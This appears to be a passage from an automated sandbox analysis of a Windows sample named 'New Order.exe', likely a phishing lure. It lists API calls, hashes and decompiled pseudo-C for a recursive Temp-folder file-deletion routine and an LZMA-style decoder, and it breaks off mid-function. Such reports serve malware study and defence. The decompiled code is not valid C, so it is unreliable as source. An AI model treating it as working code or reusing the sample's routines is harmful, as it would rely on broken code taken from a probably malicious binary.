0x10001f46
0x10001f49
0x10002015
0x10002015
0x10002015
0x10001f4f
0x10001f4f
0x10001f4f
0x1000201b
0x00000000
0x1000201b
0x10001f1e
0x10001f1e
0x10001f1f
0x10001f40
0x10001f42
0x10001f42
0x00000000
0x10001f42
0x10001f21
0x10001f21
0x10001f24
0x10001f3c
0x00000000
0x10001f3c
0x10001f26
0x10001f28
0x10001f29
0x10001f29
0x10001f2b
0x00000000
0x00000000
0x10001f2d
0x10001f2d
0x10001f2e
0x10001f38
0x00000000
0x10001f38
0x10001f31
0x10001f32
0x00000000
0x00000000
0x10001f34
0x00000000
0x10001dae
0x10001dae
0x10001db1
0x00000000
0x10001db1
0x10001da8
0x10001f80
0x10001f85
0x10001f8a
0x10001f8e
0x1000233d
0x10002343
0x10001fa0
0x10001fa2
0x10001fa3
0x100022c0
0x100022c0
0x100022c3
0x100022c6
0x100022da
0x100022e0
0x100022e2
0x100022e8
0x100022fb
0x10002301
0x10002301
0x1000230e
0x10002310
0x10002312
0x10002318
0x00000000
0x00000000
0x10002320
0x1000232d
0x1000232f
0x10002331
0x10002331
0x10002337
0x00000000
0x00000000
0x10002339
0x10002339
0x10002339
0x10002339
0x00000000
0x10002339
0x100022eb
0x100022f1
0x100022f3
0x100022f9
0x00000000
0x00000000
0x00000000
0x100022f9
0x100022c8
0x100022cf
0x100022d5
0x00000000
0x100022d5
0x10001fa9
0x10001faa
0x100022a2
0x100022a2
0x100022a8
0x100022ab
0x00000000
0x00000000
0x100022b2
0x100022b7
0x100022b8
0x00000000
0x100022b8
0x10001fb1
0x00000000
0x00000000
0x10001fb7
0x10001fb7
0x10001fc0
0x10001fc5
0x10001fcb
0x00000000
0x00000000
0x10001fd1
0x10001fde
0x10001fe4
0x10001fee
0x10001ff4
0x10001ffc
0x1000200c
0x00000000
0x1000200c

APIs

Part of subcall function 10001541: GlobalAlloc.KERNELBASE(00000040,10001577,?,?,10001804,?,10001017), ref: 10001549

Part of subcall function 10001561: lstrcpyA.KERNEL32(00000000,?,?,?,10001804,?,10001017), ref: 1000157E
Part of subcall function 10001561: GlobalFree.KERNEL32 ref: 1000158F

GlobalAlloc.KERNELBASE(00000040,000014A4), ref: 10001E28
lstrcpyA.KERNEL32(00000008,?), ref: 10001E74
lstrcpyA.KERNEL32(00000408,?), ref: 10001E7E
GlobalFree.KERNEL32 ref: 10001E98
GlobalFree.KERNEL32 ref: 10001F80
GlobalFree.KERNEL32 ref: 10001F85
GlobalFree.KERNEL32 ref: 10001F8A
GlobalFree.KERNEL32 ref: 1000212C
lstrcpyA.KERNEL32(?,?), ref: 10002273
GetModuleHandleA.KERNEL32(00000008), ref: 100022DA
LoadLibraryA.KERNEL32(00000008), ref: 100022EB
GetProcAddress.KERNEL32(?,00000408), ref: 1000230E
lstrcatA.KERNEL32(00000408,10004024), ref: 10002320
GetProcAddress.KERNEL32(?,00000408), ref: 1000232D

Memory Dump Source

Source File: 00000000.00000002.646234241.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.646220479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.646244933.0000000010003000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.646258194.0000000010005000.00000002.00020000.sdmp Download File

Similarity

API ID: Global$Free$lstrcpy$AddressAllocProc$HandleLibraryLoadModulelstrcat
String ID:
API String ID: 2432367840-0
Opcode ID: 3818cbf0824076af76067ca21706b0dae5062f5e1d4de8adee62f854b1445e57
Instruction ID: 98843f7ed549c9a0ea4508068d46c46912eefce37284e078a37cbced179c0dd6
Opcode Fuzzy Hash: 3818cbf0824076af76067ca21706b0dae5062f5e1d4de8adee62f854b1445e57
Instruction Fuzzy Hash: FF02AC71D0464ADFEB60CFA4C8807EEBBF4FB043C4F21852AE5A5A7189D7749A81CB50

Uniqueness

Uniqueness Score: -1.00%

Function 004054BD, Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 156
filestringCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E004054BD(void* __ebx, void* __eflags, void* _a4, signed int _a8) {
				signed int _v8;
				signed int _v12;
				struct _WIN32_FIND_DATAA _v332;
				signed int _t37;
				char* _t49;
				signed int _t52;
				signed int _t55;
				signed int _t61;
				signed int _t63;
				void* _t65;
				signed int _t68;
				CHAR* _t70;
				CHAR* _t72;
				char* _t75;

				_t72 = _a4;
				_t37 = E0040576C(__eflags, _t72);
				_v12 = _t37;
				if((_a8 & 0x00000008) != 0) {
					_t63 = DeleteFileA(_t72); // executed
					asm("sbb eax, eax");
					_t65 =  ~_t63 + 1;
					 *0x423fc8 =  *0x423fc8 + _t65;
					return _t65;
				}
				_t68 = _a8 & 0x00000001;
				__eflags = _t68;
				_v8 = _t68;
				if(_t68 == 0) {
					L5:
					E00405B98(0x421540, _t72);
					__eflags = _t68;
					if(_t68 == 0) {
						E004056D2(_t72);
					} else {
						lstrcatA(0x421540, "\*.*");
					}
					__eflags =  *_t72;
					if( *_t72 != 0) {
						L10:
						lstrcatA(_t72, 0x409010);
						L11:
						_t70 =  &(_t72[lstrlenA(_t72)]);
						_t37 = FindFirstFileA(0x421540,  &_v332);
						__eflags = _t37 - 0xffffffff;
						_a4 = _t37;
						if(_t37 == 0xffffffff) {
							L29:
							__eflags = _v8;
							if(_v8 != 0) {
								_t31 = _t70 - 1;
								 *_t31 =  *(_t70 - 1) & 0x00000000;
								__eflags =  *_t31;
							}
							goto L31;
						} else {
							goto L12;
						}
						do {
							L12:
							_t75 =  &(_v332.cFileName);
							_t49 = E004056B6( &(_v332.cFileName), 0x3f);
							__eflags =  *_t49;
							if( *_t49 != 0) {
								__eflags = _v332.cAlternateFileName;
								if(_v332.cAlternateFileName != 0) {
									_t75 =  &(_v332.cAlternateFileName);
								}
							}
							__eflags =  *_t75 - 0x2e;
							if( *_t75 != 0x2e) {
								L19:
								E00405B98(_t70, _t75);
								__eflags = _v332.dwFileAttributes & 0x00000010;
								if((_v332.dwFileAttributes & 0x00000010) == 0) {
									E00405850(_t72);
									_t52 = DeleteFileA(_t72);
									__eflags = _t52;
									if(_t52 != 0) {
										E00404E84(0xfffffff2, _t72);
									} else {
										__eflags = _a8 & 0x00000004;
										if((_a8 & 0x00000004) == 0) {
											 *0x423fc8 =  *0x423fc8 + 1;
										} else {
											E00404E84(0xfffffff1, _t72);
											E004058E6(__eflags, _t72, 0);
										}
									}
								} else {
									__eflags = (_a8 & 0x00000003) - 3;
									if(__eflags == 0) {
										E004054BD(_t70, __eflags, _t72, _a8);
									}
								}
								goto L27;
							}
							_t61 =  *((intOrPtr*)(_t75 + 1));
							__eflags = _t61;
							if(_t61 == 0) {
								goto L27;
							}
							__eflags = _t61 - 0x2e;
							if(_t61 != 0x2e) {
								goto L19;
							}
							__eflags =  *((char*)(_t75 + 2));
							if( *((char*)(_t75 + 2)) == 0) {
								goto L27;
							}
							goto L19;
							L27:
							_t55 = FindNextFileA(_a4,  &_v332);
							__eflags = _t55;
						} while (_t55 != 0);
						_t37 = FindClose(_a4);
						goto L29;
					}
					__eflags =  *0x421540 - 0x5c;
					if( *0x421540 != 0x5c) {
						goto L11;
					}
					goto L10;
				} else {
					__eflags = _t37;
					if(_t37 == 0) {
						L31:
						__eflags = _v8;
						if(_v8 == 0) {
							L39:
							return _t37;
						}
						__eflags = _v12;
						if(_v12 != 0) {
							_t37 = E00405E93(_t72);
							__eflags = _t37;
							if(_t37 == 0) {
								goto L39;
							}
							E0040568B(_t72);
							E00405850(_t72);
							_t37 = RemoveDirectoryA(_t72);
							__eflags = _t37;
							if(_t37 != 0) {
								return E00404E84(0xffffffe5, _t72);
							}
							__eflags = _a8 & 0x00000004;
							if((_a8 & 0x00000004) == 0) {
								goto L33;
							}
							E00404E84(0xfffffff1, _t72);
							return E004058E6(__eflags, _t72, 0);
						}
						L33:
						 *0x423fc8 =  *0x423fc8 + 1;
						return _t37;
					}
					__eflags = _a8 & 0x00000002;
					if((_a8 & 0x00000002) == 0) {
						goto L31;
					}
					goto L5;
				}
			}

0x004054c8
0x004054cc
0x004054d5
0x004054d8
0x004054db
0x004054e3
0x004054e5
0x004054e6
0x00000000
0x004054e6
0x004054f5
0x004054f5
0x004054f8
0x004054fb
0x0040550f
0x00405516
0x0040551b
0x0040551d
0x0040552d
0x0040551f
0x00405525
0x00405525
0x00405532
0x00405535
0x00405540
0x00405546
0x0040554b
0x0040555b
0x0040555d
0x00405563
0x00405566
0x00405569
0x00405626
0x00405626
0x0040562a
0x0040562c
0x0040562c
0x0040562c
0x0040562c
0x00000000
0x00000000
0x00000000
0x00000000
0x0040556f
0x0040556f
0x00405578
0x0040557e
0x00405583
0x00405586
0x00405588
0x0040558c
0x0040558e
0x0040558e
0x0040558c
0x00405591
0x00405594
0x004055a7
0x004055a9
0x004055ae
0x004055b5
0x004055cd
0x004055d3
0x004055d9
0x004055db
0x00405600
0x004055dd
0x004055dd
0x004055e1
0x004055f5
0x004055e3
0x004055e6
0x004055ee
0x004055ee
0x004055e1
0x004055b7
0x004055bd
0x004055bf
0x004055c5
0x004055c5
0x004055bf
0x00000000
0x004055b5
0x00405596
0x00405599
0x0040559b
0x00000000
0x00000000
0x0040559d
0x0040559f
0x00000000
0x00000000
0x004055a1
0x004055a5
0x00000000
0x00000000
0x00000000
0x00405605
0x0040560f
0x00405615
0x00405615
0x00405620
0x00000000
0x00405620
0x00405537
0x0040553e
0x00000000
0x00000000
0x00000000
0x004054fd
0x004054fd
0x004054ff
0x00405630
0x00405633
0x00405636
0x00405688
0x00405688
0x00405688
0x00405638
0x0040563b
0x00405646
0x0040564b
0x0040564d
0x00000000
0x00000000
0x00405650
0x00405656
0x0040565c
0x00405662
0x00405664
0x00000000
0x00405680
0x00405666
0x0040566a
0x00000000
0x00000000
0x0040566f
0x00000000
0x00405676
0x0040563d
0x0040563d
0x00000000
0x0040563d
0x00405505
0x00405509
0x00000000
0x00000000
0x00000000
0x00405509

APIs

DeleteFileA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\,?), ref: 004054DB
lstrcatA.KERNEL32(00421540,\*.*,00421540,?,00000000,?,C:\Users\user\AppData\Local\Temp\,?), ref: 00405525
lstrcatA.KERNEL32(?,00409010,?,00421540,?,00000000,?,C:\Users\user\AppData\Local\Temp\,?), ref: 00405546
lstrlenA.KERNEL32(?,?,00409010,?,00421540,?,00000000,?,C:\Users\user\AppData\Local\Temp\,?), ref: 0040554C
FindFirstFileA.KERNEL32(00421540,?,?,?,00409010,?,00421540,?,00000000,?,C:\Users\user\AppData\Local\Temp\,?), ref: 0040555D
FindNextFileA.KERNEL32(?,00000010,000000F2,?), ref: 0040560F
FindClose.KERNEL32(?), ref: 00405620

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004054C7
\*.*, xrefs: 0040551F
"C:\Users\user\Desktop\New Order.exe" , xrefs: 004054BD

Memory Dump Source

Source File: 00000000.00000002.644142145.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.644129001.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644169382.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644188351.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644205189.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644212386.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644217658.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\New Order.exe" $C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-1688929068
Opcode ID: 151e37dfdb71e49779ebe8013d58079144af5c7b104cf071a6fd2cd1a311b3c4
Instruction ID: 6fea787f5ff7f663b03802bfccf250d7b0f6b6b9ddff8139893414afbc0e0c0d
Opcode Fuzzy Hash: 151e37dfdb71e49779ebe8013d58079144af5c7b104cf071a6fd2cd1a311b3c4
Instruction Fuzzy Hash: D851CE30804A447ACB216B218C49BBF3B78DF92728F54857BF809751D2E73D5982DE5E

Uniqueness

Uniqueness Score: -1.00%

Function 004061D4, Relevance: 5.4, APIs: 4, Instructions: 382
COMMONCrypto

Download Yara Rule

C-Code - Quality: 98%

			E004061D4() {
				unsigned short _t531;
				signed int _t532;
				void _t533;
				void* _t534;
				signed int _t535;
				signed int _t565;
				signed int _t568;
				signed int _t590;
				signed int* _t607;
				void* _t614;

				L0:
				while(1) {
					L0:
					if( *(_t614 - 0x40) != 0) {
						 *(_t614 - 0x34) = 1;
						 *(_t614 - 0x84) = 7;
						_t607 =  *(_t614 - 4) + 0x180 +  *(_t614 - 0x38) * 2;
						L132:
						 *(_t614 - 0x54) = _t607;
						L133:
						_t531 =  *_t607;
						_t590 = _t531 & 0x0000ffff;
						_t565 = ( *(_t614 - 0x10) >> 0xb) * _t590;
						if( *(_t614 - 0xc) >= _t565) {
							 *(_t614 - 0x10) =  *(_t614 - 0x10) - _t565;
							 *(_t614 - 0xc) =  *(_t614 - 0xc) - _t565;
							 *(_t614 - 0x40) = 1;
							_t532 = _t531 - (_t531 >> 5);
							 *_t607 = _t532;
						} else {
							 *(_t614 - 0x10) = _t565;
							 *(_t614 - 0x40) =  *(_t614 - 0x40) & 0x00000000;
							 *_t607 = (0x800 - _t590 >> 5) + _t531;
						}
						if( *(_t614 - 0x10) >= 0x1000000) {
							L139:
							_t533 =  *(_t614 - 0x84);
							L140:
							 *(_t614 - 0x88) = _t533;
							goto L1;
						} else {
							L137:
							if( *(_t614 - 0x6c) == 0) {
								 *(_t614 - 0x88) = 5;
								goto L170;
							}
							 *(_t614 - 0x10) =  *(_t614 - 0x10) << 8;
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
							 *(_t614 - 0xc) =  *(_t614 - 0xc) << 0x00000008 |  *( *(_t614 - 0x70)) & 0x000000ff;
							goto L139;
						}
					} else {
						__eax =  *(__ebp - 0x5c) & 0x000000ff;
						__esi =  *(__ebp - 0x60);
						__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
						__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
						__ecx =  *(__ebp - 0x3c);
						__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
						__ecx =  *(__ebp - 4);
						(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
						__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
						__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
						 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
						if( *(__ebp - 0x38) >= 4) {
							if( *(__ebp - 0x38) >= 0xa) {
								_t97 = __ebp - 0x38;
								 *_t97 =  *(__ebp - 0x38) - 6;
							} else {
								 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
							}
						} else {
							 *(__ebp - 0x38) = 0;
						}
						if( *(__ebp - 0x34) == __edx) {
							__ebx = 0;
							__ebx = 1;
							L60:
							__eax =  *(__ebp - 0x58);
							__edx = __ebx + __ebx;
							__ecx =  *(__ebp - 0x10);
							__esi = __edx + __eax;
							__ecx =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								_t216 = __edx + 1; // 0x1
								__ebx = _t216;
								__cx = __ax >> 5;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								L59:
								if(__ebx >= 0x100) {
									goto L54;
								}
								goto L60;
							} else {
								L57:
								if( *(__ebp - 0x6c) == 0) {
									 *(__ebp - 0x88) = 0xf;
									goto L170;
								}
								__ecx =  *(__ebp - 0x70);
								__eax =  *(__ebp - 0xc);
								 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
								__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
								 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
								 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								_t202 = __ebp - 0x70;
								 *_t202 =  *(__ebp - 0x70) + 1;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								goto L59;
							}
						} else {
							__eax =  *(__ebp - 0x14);
							__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
							if(__eax >=  *(__ebp - 0x74)) {
								__eax = __eax +  *(__ebp - 0x74);
							}
							__ecx =  *(__ebp - 8);
							__ebx = 0;
							__ebx = 1;
							__al =  *((intOrPtr*)(__eax + __ecx));
							 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
							L40:
							__eax =  *(__ebp - 0x5b) & 0x000000ff;
							 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
							__ecx =  *(__ebp - 0x58);
							__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
							 *(__ebp - 0x48) = __eax;
							__eax = __eax + 1;
							__eax = __eax << 8;
							__eax = __eax + __ebx;
							__esi =  *(__ebp - 0x58) + __eax * 2;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edx = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								 *(__ebp - 0x40) = 1;
								__cx = __ax >> 5;
								__ebx = __ebx + __ebx + 1;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edx;
								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								L38:
								__eax =  *(__ebp - 0x40);
								if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
									while(1) {
										if(__ebx >= 0x100) {
											break;
										}
										__eax =  *(__ebp - 0x58);
										__edx = __ebx + __ebx;
										__ecx =  *(__ebp - 0x10);
										__esi = __edx + __eax;
										__ecx =  *(__ebp - 0x10) >> 0xb;
										__ax =  *__esi;
										 *(__ebp - 0x54) = __esi;
										__edi = __ax & 0x0000ffff;
										__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
										if( *(__ebp - 0xc) >= __ecx) {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
											__cx = __ax;
											_t169 = __edx + 1; // 0x1
											__ebx = _t169;
											__cx = __ax >> 5;
											 *__esi = __ax;
										} else {
											 *(__ebp - 0x10) = __ecx;
											0x800 = 0x800 - __edi;
											0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
											__ebx = __ebx + __ebx;
											 *__esi = __cx;
										}
										 *(__ebp - 0x44) = __ebx;
										if( *(__ebp - 0x10) < 0x1000000) {
											L45:
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t155 = __ebp - 0x70;
											 *_t155 =  *(__ebp - 0x70) + 1;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
										}
									}
									L53:
									_t172 = __ebp - 0x34;
									 *_t172 =  *(__ebp - 0x34) & 0x00000000;
									L54:
									__al =  *(__ebp - 0x44);
									 *(__ebp - 0x5c) =  *(__ebp - 0x44);
									L55:
									if( *(__ebp - 0x64) == 0) {
										 *(__ebp - 0x88) = 0x1a;
										goto L170;
									}
									__ecx =  *(__ebp - 0x68);
									__al =  *(__ebp - 0x5c);
									__edx =  *(__ebp - 8);
									 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
									 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
									 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
									 *( *(__ebp - 0x68)) = __al;
									__ecx =  *(__ebp - 0x14);
									 *(__ecx +  *(__ebp - 8)) = __al;
									__eax = __ecx + 1;
									__edx = 0;
									_t191 = __eax %  *(__ebp - 0x74);
									__eax = __eax /  *(__ebp - 0x74);
									__edx = _t191;
									L79:
									 *(__ebp - 0x14) = __edx;
									L80:
									 *(__ebp - 0x88) = 2;
									goto L1;
								}
								if(__ebx >= 0x100) {
									goto L53;
								}
								goto L40;
							} else {
								L36:
								if( *(__ebp - 0x6c) == 0) {
									 *(__ebp - 0x88) = 0xd;
									L170:
									_t568 = 0x22;
									memcpy( *(_t614 - 0x90), _t614 - 0x88, _t568 << 2);
									_t535 = 0;
									L172:
									return _t535;
								}
								__ecx =  *(__ebp - 0x70);
								__eax =  *(__ebp - 0xc);
								 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
								__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
								 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
								 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								_t121 = __ebp - 0x70;
								 *_t121 =  *(__ebp - 0x70) + 1;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								goto L38;
							}
						}
					}
					L1:
					_t534 =  *(_t614 - 0x88);
					if(_t534 > 0x1c) {
						L171:
						_t535 = _t534 | 0xffffffff;
						goto L172;
					}
					switch( *((intOrPtr*)(_t534 * 4 +  &M00406A77))) {
						case 0:
							if( *(_t614 - 0x6c) == 0) {
								goto L170;
							}
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
							_t534 =  *( *(_t614 - 0x70));
							if(_t534 > 0xe1) {
								goto L171;
							}
							_t538 = _t534 & 0x000000ff;
							_push(0x2d);
							asm("cdq");
							_pop(_t570);
							_push(9);
							_pop(_t571);
							_t610 = _t538 / _t570;
							_t540 = _t538 % _t570 & 0x000000ff;
							asm("cdq");
							_t605 = _t540 % _t571 & 0x000000ff;
							 *(_t614 - 0x3c) = _t605;
							 *(_t614 - 0x1c) = (1 << _t610) - 1;
							 *((intOrPtr*)(_t614 - 0x18)) = (1 << _t540 / _t571) - 1;
							_t613 = (0x300 << _t605 + _t610) + 0x736;
							if(0x600 ==  *((intOrPtr*)(_t614 - 0x78))) {
								L10:
								if(_t613 == 0) {
									L12:
									 *(_t614 - 0x48) =  *(_t614 - 0x48) & 0x00000000;
									 *(_t614 - 0x40) =  *(_t614 - 0x40) & 0x00000000;
									goto L15;
								} else {
									goto L11;
								}
								do {
									L11:
									_t613 = _t613 - 1;
									 *((short*)( *(_t614 - 4) + _t613 * 2)) = 0x400;
								} while (_t613 != 0);
								goto L12;
							}
							if( *(_t614 - 4) != 0) {
								GlobalFree( *(_t614 - 4));
							}
							_t534 = GlobalAlloc(0x40, 0x600); // executed
							 *(_t614 - 4) = _t534;
							if(_t534 == 0) {
								goto L171;
							} else {
								 *((intOrPtr*)(_t614 - 0x78)) = 0x600;
								goto L10;
							}
						case 1:
							L13:
							__eflags =  *(_t614 - 0x6c);
							if( *(_t614 - 0x6c) == 0) {
								 *(_t614 - 0x88) = 1;
								goto L170;
							}
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							 *(_t614 - 0x40) =  *(_t614 - 0x40) | ( *( *(_t614 - 0x70)) & 0x000000ff) <<  *(_t614 - 0x48) << 0x00000003;
							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
							_t45 = _t614 - 0x48;
							 *_t45 =  *(_t614 - 0x48) + 1;
							__eflags =  *_t45;
							L15:
							if( *(_t614 - 0x48) < 4) {
								goto L13;
							}
							_t546 =  *(_t614 - 0x40);
							if(_t546 ==  *(_t614 - 0x74)) {
								L20:
								 *(_t614 - 0x48) = 5;
								 *( *(_t614 - 8) +  *(_t614 - 0x74) - 1) =  *( *(_t614 - 8) +  *(_t614 - 0x74) - 1) & 0x00000000;
								goto L23;
							}
							 *(_t614 - 0x74) = _t546;
							if( *(_t614 - 8) != 0) {
								GlobalFree( *(_t614 - 8)); // executed
							}
							_t534 = GlobalAlloc(0x40,  *(_t614 - 0x40)); // executed
							 *(_t614 - 8) = _t534;
							if(_t534 == 0) {
								goto L171;
							} else {
								goto L20;
							}
						case 2:
							L24:
							_t553 =  *(_t614 - 0x60) &  *(_t614 - 0x1c);
							 *(_t614 - 0x84) = 6;
							 *(_t614 - 0x4c) = _t553;
							_t607 =  *(_t614 - 4) + (( *(_t614 - 0x38) << 4) + _t553) * 2;
							goto L132;
						case 3:
							L21:
							__eflags =  *(_t614 - 0x6c);
							if( *(_t614 - 0x6c) == 0) {
								 *(_t614 - 0x88) = 3;
								goto L170;
							}
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							_t67 = _t614 - 0x70;
							 *_t67 =  &(( *(_t614 - 0x70))[1]);
							__eflags =  *_t67;
							 *(_t614 - 0xc) =  *(_t614 - 0xc) << 0x00000008 |  *( *(_t614 - 0x70)) & 0x000000ff;
							L23:
							 *(_t614 - 0x48) =  *(_t614 - 0x48) - 1;
							if( *(_t614 - 0x48) != 0) {
								goto L21;
							}
							goto L24;
						case 4:
							goto L133;
						case 5:
							goto L137;
						case 6:
							goto L0;
						case 7:
							__eflags =  *(__ebp - 0x40) - 1;
							if( *(__ebp - 0x40) != 1) {
								__eax =  *(__ebp - 0x24);
								 *(__ebp - 0x80) = 0x16;
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x28);
								 *(__ebp - 0x24) =  *(__ebp - 0x28);
								__eax =  *(__ebp - 0x2c);
								 *(__ebp - 0x28) =  *(__ebp - 0x2c);
								__eax = 0;
								__eflags =  *(__ebp - 0x38) - 7;
								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
								__al = __al & 0x000000fd;
								__eax = (__eflags >= 0) - 1 + 0xa;
								 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
								__eax =  *(__ebp - 4);
								__eax =  *(__ebp - 4) + 0x664;
								__eflags = __eax;
								 *(__ebp - 0x58) = __eax;
								goto L68;
							}
							__eax =  *(__ebp - 4);
							__ecx =  *(__ebp - 0x38);
							 *(__ebp - 0x84) = 8;
							__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
							goto L132;
						case 8:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xa;
								__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
							} else {
								__eax =  *(__ebp - 0x38);
								__ecx =  *(__ebp - 4);
								__eax =  *(__ebp - 0x38) + 0xf;
								 *(__ebp - 0x84) = 9;
								 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
								__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
							}
							goto L132;
						case 9:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								goto L89;
							}
							__eflags =  *(__ebp - 0x60);
